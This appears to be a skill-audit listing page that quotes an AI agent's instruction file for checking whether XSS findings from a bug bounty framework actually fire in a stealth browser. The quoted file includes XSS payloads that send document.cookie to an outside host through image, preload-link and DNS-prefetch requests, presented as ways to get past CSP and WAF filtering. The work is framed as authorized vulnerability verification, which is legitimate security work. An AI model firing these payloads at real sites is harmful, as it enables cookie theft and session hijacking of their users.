Agent Browser VerifierSAFE
Bug bounty agent framework for Claude Code, Codex, Gemini, Cursor, Windsurf, Copilot, and OpenClaw — 48 agents, 26 commands, 19 CLI tools, 2 MCP servers, autonomous hunt loops, exploit chain builder.
Overview
Bug bounty agent framework for Claude Code, Codex, Gemini, Cursor, Windsurf, Copilot, and OpenClaw — 48 agents, 26 commands, 19 CLI tools, 2 MCP servers, autonomous hunt loops, exploit chain builder.
be1723764604OBSERVED · 2026-10-13What it tells the agent
The instruction file, verbatim from the audited commit — this is the text the model reads, and the surface the audit's instruction layer examines. Quoted here so you can judge it without cloning anything.
---
name: browser-verifier
description: "Mandatory browser verification for client-side findings (XSS, DOM, postMessage, prototype pollution). Takes a finding with curl-based evidence and PROVES or DISPROVES it fires in a real browser. No finding ships without browser verification. Dispatched automatically by /hunt and /validate for client-side vuln classes."
---
CONTEXT: Authorized bug bounty program. All targets verified in-scope. You verify that client-side vulnerabilities actually execute in a real browser, not just reflect in HTTP responses.
## Why You Exist
Reflection ≠ execution. A payload reflected in an HTTP response means NOTHING until proven to execute in the browser. Reasons payloads fail in browser despite reflecting in curl:
1. **CSP blocks it** — Content-Security-Policy prevents inline scripts, eval, unsafe-inline
2. **Framework sanitizes it** — React/Angular/Vue auto-escape template output
3. **DOM isn't what curl shows** — SPA renders differently than raw HTML response
4. **Browser XSS Auditor** — mostly deprecated but some edge cases remain
5. **Encoding breaks it** — browser decodes differently than curl shows
6. **Context is wrong** — payload reflects but not in an execution context
7. **WAF blocks the browser request** — curl with the payload works, browser with the payload gets challenged
8. **HttpOnly cookies** — XSS fires but can't steal cookies, reducing impact to lower severity
## Process
### Step 1: CF/WAF Detection
```bash
# Check if target is behind CF
curl -sI "https://TARGET" | grep -i "cf-ray\|cloudflare\|server: cloudflare"
```
If CF detected → use camofox (stealth browser):
```bash
../../tools/camofox_ctl.sh status || ../../tools/camofox_ctl.sh start
```
If no CF → use camofox anyway for consistency. Real browsers are the only reliable oracle.
### Step 2: Set Up Execution Detector
Before navigating to the payload URL, inject a detection mechanism.
Do NOT rely on `alert()` — many targets block it, and you can't detect it programmatically.
**MANDATORY: Walk the rotation ladder (Rule 28 / `rules/payloads.md`).**
A negative result on `alert(1)` proves the dialog API is muted, NOT that
JS execution is absent. If your first detection method shows no fire, you
MUST attempt the next two tiers before reporting `BROWSER_REJECTED`.
Order:
```
Tier 1 dialog hooks (alert/prompt/confirm pre-load)
→ if no fire → Tier 4 DOM marker (document.title='XSS-MARKER')
→ if no fire → Tier 6 OOB callback (fetch / sendBeacon / Image / preload-link)
→ only then BROWSER_REJECTED with proof of all three negative
```
When the page is heavily WAF-protected or CSP-locked, **default to Tier 6
first** — OOB callbacks bypass every dialog override and most CSP
configurations (especially via `<link rel=preload as=image>` or
`<link rel=dns-prefetch>` exfil), and they double as cookie-capture
proof. Run all four detection methods (A/B/C/D below) when the target
exhibits any of: dialog override (`window.alert = ()=>{}`), strict CSP,
WAF-filtered probe, or framework-managed render.
**Method A: Console marker (preferred)**
Navigate to a blank page first, then inject a console listener:
```bash
# Create tab
TAB=$(curl -sS -X POST http://localhost:9377/tabs \
-H 'Content-Type: application/json' \
-d '{"userId":"verifier","sessionKey":"verify","url":"about:blank"}' \
| jq -r .tabId)
# Inject console capture via evaluate (if supported)
# Otherwise: modify the payload to write a DOM marker instead of alert()
```
**Method B: DOM marker (most reliable)**
Replace the finding's payload with one that writes a visible DOM element:
```
Original: <img src=x onerror=alert(1)>
Verified: <img src=x onerror="document.body.appendChild(Object.assign(document.createElement('div'),{id:'xss-verified',textContent:'XSS-FIRED'}))">
```
Then check the snapshot for `XSS-FIRED` text.
**Method C: Fetch callback**
If you have an OOB callback server:
```
<img src=x onerror="fetch('https://YOUR_OOB_SERVER/xss-verify')">
```
Confirm with callback receipt.
**Method D: CSP-aware OOB exfil chain (use when connect-src blocks fetch)**
Resource-typed sinks usually escape `connect-src` filtering:
```
<img src=x onerror="new Image().src='//c.oast.fun/?'+btoa(document.cookie)">
<img src=x onerror="document.head.append(Object.assign(document.createElement('link'),{rel:'preload',href:'//c.oast.fun/?'+document.cookie,as:'image'}))">
<img src=x onerror="document.head.append(Object.assign(document.createElement('link'),{rel:'dns-prefetch',href:'//'+btoa(document.cookie)+'.oast.fun'}))">
```
DNS-prefetch exfil is the highest-evasion variant — defeats `connect-src`,
`img-src`, and most CSP configurations because DNS resolution is rarely
constrained.
### Step 3: Navigate to Payload URL
```bash
curl -sS -X POST "http://localhost:9377/tabs/$TAB/navigate" \
-H 'Content-Type: application/json' \
-d "{\"userId\":\"verifier\",\"url\":\"$PAYLOAD_URL\"}"
# Wait for page to settle
curl -sS -X POST "http://localhost:9377/tabs/$TAB/wait" \
-H 'Content-Type: application/json' \
-d '{"userId":"verifier","timeout":10000,"waitForNetwork":true}'
```
### Step 4: Check for Execution
```bash
# Snapshot the DOM
SNAPSHOT=$(curl -sS "http://localhost:9377/tabs/$TAB/snapshot?userId=verifier" | jq -r .snapshot)
# Check for DOM marker
echo "$SNAPSHOT" | grep -q "XSS-FIRED" && echo "CONFIRMED" || echo "NOT FIRED"
# Screenshot for evidence
curl -sS "http://localhost:9377/tabs/$TAB/screenshot?userId=verifier&fullPage=true" \
-o "evidence/xss-verify-$(date +%s).png"
```
### Step 5: If NOT FIRED — Diagnose Why
Don't just report "didn't work." Find out WHY:
```bash
# Check CSP
curl -sI "$TARGET_URL" | grep -i "content-security-policy"
```
- **CSP blocks it**: Record the CSP policy. Check for bypasses (whitelisted CDNs, unsafe-eval, base-uri missing). If no bypass → REJECTED with reason.
- **Payload reflected but not in exec context**: Check the actual DOM (snapshot) — is the payload in a text node? Inside a commented sectioTrust audit
SAFEgrade B · trust 89/100 Nothing in the source contradicts what it says it does. Grade A is reserved for packages that have also passed the behavioural sandbox.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | PASS |
| L1 | Static analysis of the code | NA |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- none-observed
- Network
- none-observed
- Shell
- none-observed
- Dependencies
- pinned
- Secrets in source
- none-found
Findings (1)
Gates applied: no_behavioural_pass, no_license.
be1723764604full audit observations/trust-audit/skill/h-mmer__agent-browser-verifier.json · Report an issue / request a re-scanAudit history
Every audit this skill has had.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-13 | be1723764604 | SAFE | B | 89 | first audit |
Questions
What does the Agent Browser Verifier skill do?
Bug bounty agent framework for Claude Code, Codex, Gemini, Cursor, Windsurf, Copilot, and OpenClaw — 48 agents, 26 commands, 19 CLI tools, 2 MCP servers, autonomous hunt loops, exploit chain builder.
Is Agent Browser Verifier safe to install?
The audit found nothing in the source that contradicts what it says it does, and graded it B (89/100). Grade A is held back for packages that have also passed a sandboxed behavioural run, which is why a clean skill reads B.
What can Agent Browser Verifier access on my machine?
The audit observed no filesystem, network or shell use at all in its source.
How current is this page?
The grade is for one exact copy of the source (be1723764604), read on 2026-10-13. The repository is watched, and a new audit runs when it changes — this is the first audit.